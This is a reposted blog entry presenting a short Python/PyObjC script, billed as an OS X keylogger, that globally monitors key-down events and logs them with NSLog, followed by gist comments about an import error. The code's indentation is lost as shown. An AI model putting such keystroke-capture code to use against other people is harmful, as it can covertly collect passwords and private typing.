PythonTip >> 博文 >> python

A 25 line Python keylogger for OS X

zihua 2014-01-20 23:01:12 点击: 910 | 收藏


123456789101112131415161718192021222324252627
# cocoa_keypress_monitor.py by Bjarte Johansen is licensed under a
# Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.

 

from AppKit import NSApplication, NSApp
from Foundation import NSObject, NSLog
from Cocoa import NSEvent, NSKeyDownMask
from PyObjCTools import AppHelper

 

class AppDelegate(NSObject):
def applicationDidFinishLaunching_(self, notification):
mask = NSKeyDownMask
NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(mask, handler)

 

def handler(event):
try:
NSLog(u"%@", event)
except KeyboardInterrupt:
AppHelper.stopEventLoop()

 

def main():
app = NSApplication.sharedApplication()
delegate = AppDelegate.alloc().init()
NSApp().setDelegate_(delegate)
AppHelper.runEventLoop()

if __name__ == '__main__':
main()

wait, your first version did:

https://gist.github.com/3019988

This one is giving me this error:

Traceback (most recent call last):

File "selfspy.py", line 4, in

from Foundation import NSApplication, NSObject, NSLog

ImportError: cannot import name NSApplication

NSApplication should be imported from AppKit (or Cocoa) rather than Foundation since that's where it is defined.

How did all these people suddenly see my gist?

Anyway, can you guys see if things work after the latest update (on advice from @bdash) ?

I am not sure how to see what version of PyObjC you are using. I am using Python2.7 and head from https://bitbucket.org/ronaldoussoren/pyobjc/

原文链接:http://www.wumii.com/item/o8hjQNCN

作者:zihua | 分类: python | 标签: python | 阅读: 910 | 发布于: 2014-01-20 23时 |